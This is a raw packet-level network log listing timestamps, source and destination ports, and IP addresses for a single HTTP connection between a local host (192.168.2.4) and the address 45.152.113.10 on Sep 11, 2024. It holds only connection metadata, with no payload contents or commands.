Sep 11, 2024 22:52:06.523916960 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.523941040 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.523952961 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.523984909 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.523984909 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.524019003 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.524032116 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.524032116 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.524050951 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.524068117 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.524082899 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.524101019 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.524115086 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.524136066 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.524146080 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.524171114 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.524178028 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.524194002 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.524209976 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.524231911 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.524243116 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.524271011 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.524276018 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.524292946 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.524307966 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.524327993 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.524338007 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.524357080 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.524370909 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.524391890 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.524404049 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.524427891 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.524435997 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.524456978 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.524472952 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.524504900 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.524506092 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.524528980 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.524535894 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.524557114 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.524569988 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.524593115 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.524601936 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.524621010 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.524635077 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.524657011 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.524667025 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.524691105 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.524718046 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.524719954 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.524749994 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.524782896 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.524796963 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.524797916 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.524813890 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.524832964 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.524859905 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.524862051 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.524894953 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.524914980 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.524925947 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.524946928 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.524959087 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.524976015 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.524991035 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.525008917 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.525038004 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.525043964 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.525069952 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.525093079 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.525100946 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.525120974 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.525134087 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.525156975 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.525166035 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.525187016 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.525202036 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.525216103 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.525233030 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.525257111 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.525264025 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.525285959 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.525295973 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.525321960 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.525327921 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.525343895 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.525360107 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.525382042 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.525392056 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.525418997 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.525424957 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.525444031 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.525458097 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.525480986 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.525489092 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.525517941 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.525521994 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.525541067 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.525552988 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.525576115 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.525585890 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.525599003 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.525618076 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.525639057 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.525650024 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.525676012 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.525682926 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.525700092 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.525713921 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.525744915 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.525753021 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.525775909 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.525779009 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.525799990 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.525810003 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.525830984 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.525844097 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.525867939 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.525876045 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.525896072 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.525907993 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.525940895 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.525945902 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.525969982 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.525989056 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.526000023 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.526019096 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.526040077 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.526051044 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.526073933 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.526084900 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.526117086 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.526118040 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.526148081 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.526156902 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.526179075 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.526185036 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.526202917 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.526218891 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.526240110 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.526251078 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.526268959 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.526281118 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.526304960 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.526314020 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.526340961 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.526341915 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.526374102 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.526382923 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.526401043 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.526407003 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.526417971 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.526438951 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.526464939 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.526472092 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.526485920 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.526504040 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.526523113 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.526535988 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.526557922 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.526566982 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.526593924 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.526602030 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.526633024 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.526637077 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.526664019 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.526667118 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.526685953 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.526699066 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.526715040 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.526731014 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.526751041 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.526762962 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.526773930 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.526797056 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.526818991 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.526829004 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.526854038 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.526860952 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.526881933 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.526894093 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.526915073 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.526926041 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.526943922 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.526957035 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.526990891 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.526993036 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.527013063 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.527048111 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.533286095 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.533318043 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.533391953 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.533413887 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.533446074 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.533480883 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.533500910 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.533512115 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.533543110 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.533545971 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.533560038 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.533595085 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.533596992 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.533627987 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.533659935 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.533679962 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.533691883 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.533725023 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.533727884 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.533766031 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.533773899 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.533786058 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.533804893 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.533826113 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.533838987 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.533855915 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.533866882 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.533895016 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.533898115 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.533911943 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.533948898 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.533951998 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.533982992 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.533999920 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.534014940 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.534034014 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.534045935 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.534071922 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.534096956 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.534096956 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.534128904 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.534147024 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.534179926 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.534184933 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.534224033 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.534244061 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.534256935 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.534280062 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.534291029 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.534313917 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.534324884 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.534348011 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.534358978 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.534377098 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.534416914 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.534643888 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.534677029 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.534703016 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.534734011 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.534799099 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.534831047 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.534856081 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.534863949 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.534878969 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.534894943 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.534919024 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.534945011 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.534948111 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.534976006 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.535003901 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.535011053 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.535027981 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.535042048 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.535082102 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.535083055 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.535124063 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.535156012 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.535181999 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.535187960 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.535207033 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.535223007 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.535247087 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.535270929 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.535275936 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.535303116 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.535327911 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.535331011 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.535356045 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.535362959 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.535375118 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.535413027 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.535413027 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.535461903 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.535465956 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.535495043 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.535518885 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.535526991 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.535548925 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.535562992 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.535577059 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.535599947 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.535624027 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.535649061 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.535654068 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.535681009 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.535707951 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.535712957 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.535729885 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.535751104 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.535767078 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.535799980 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.535805941 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.535830975 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.535856962 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.535862923 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.535881996 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.535891056 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.535918951 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.535922050 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.535938025 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.535954952 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.535980940 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.535988092 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.536005020 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.536021948 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.536051035 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.536053896 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.536073923 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.536103010 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.536108017 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.536134005 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.536161900 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.536165953 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.536180019 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.536197901 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.536226034 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.536231995 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.536252022 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.536264896 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.536288977 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.536297083 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.536324024 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.536329031 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.536345959 CEST	49733	80	192.168.2.4	45.152.113.10
